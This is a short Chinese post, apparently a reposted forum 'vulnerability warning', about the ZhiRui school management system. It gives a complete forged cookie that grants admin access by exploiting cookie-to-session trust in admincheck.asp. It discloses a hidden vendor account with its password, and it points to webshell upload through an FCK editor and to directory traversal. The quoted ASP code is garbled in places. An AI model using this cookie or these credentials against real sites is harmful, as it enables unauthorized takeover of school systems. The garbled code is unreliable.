智睿管理系统的通杀漏洞漏洞预警 电脑资料
智睿系统的通杀漏洞，前几天恰巧需要弄一个智睿学校管理系统的站就下载了智睿的系统看了下代码，发现ADMIN目录下的，admincheck.asp文件代码是这样写的 ，是通过COOKIES进行传值给SESSION这样就可以通过伪造COOKIES进行欺骗进入管理目录，另外经发现这个系统数据库管理表中有个智睿自己留的管理账号，管理列表文件经过简单的加密，解密后发现管理员账号列表文件之调用显示了ID>1的账户，由此可知ID=1的账号是智睿自己留的小后门吧，
COOKIES：ZhiRui=Check=ZhiRuiSystem&AdminPurview=%7C111%2C%7C112%2C%7C113%2C%7C114%2C%7C115%2C%7C116%2C%7C117%2C%7C118%2C%7C119%2C%7C121%2C%7C122%2C%7C211%2C%7C212%2C%7C311%2C%7C312%2C%7C313%2C%7C314%2C%7C511%2C%7C512%2C%7C513%2C%7C514%2C%7C611%2C%7C612%2C%7C711%2C%7C712%2C%7C713%2C%7C714%2C%7C411%2C%7C412%2C%7C413%2C%7C414%2C%7C415%2C%7C811%2C%7C812%2C%7C813%2C%7C814%2C%7C815%2C%7C911%2C&ZhiRuiUser=%C4%DA%B2%BF%B5%F7%CA%D4&ZhiRuiAdmin=zhirui
后台暂时还没发现拿WEBSHELL的方法，有个版本有FCK器可以通过器拿WEBSHELL，后台的文件管理可以遍历目录，就发现这些可利用的地方，请大家指正
隐藏账号是zhirui:123456
<%
if kies("ZhiRui")("ZhiRuiAdmin"))<>"" then
session("ZhiRuiAdmin")=kies("ZhiRui")("ZhiRuiAdmin")
session("ZhiRuiUser")=kies("ZhiRui")("ZhiRuiUser")
session("AdminPurview")=kies("ZhiRui")("AdminPurview")
End if
If trim(session("ZhiRuiAdmin"))="" then
asp文件管理系统
Response.Write("")
d
End if
If Request.Cookies("ZhiRui")("Check")<>"ZhiRuiSystem" then
Response.Write("")
d
End if
%>

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。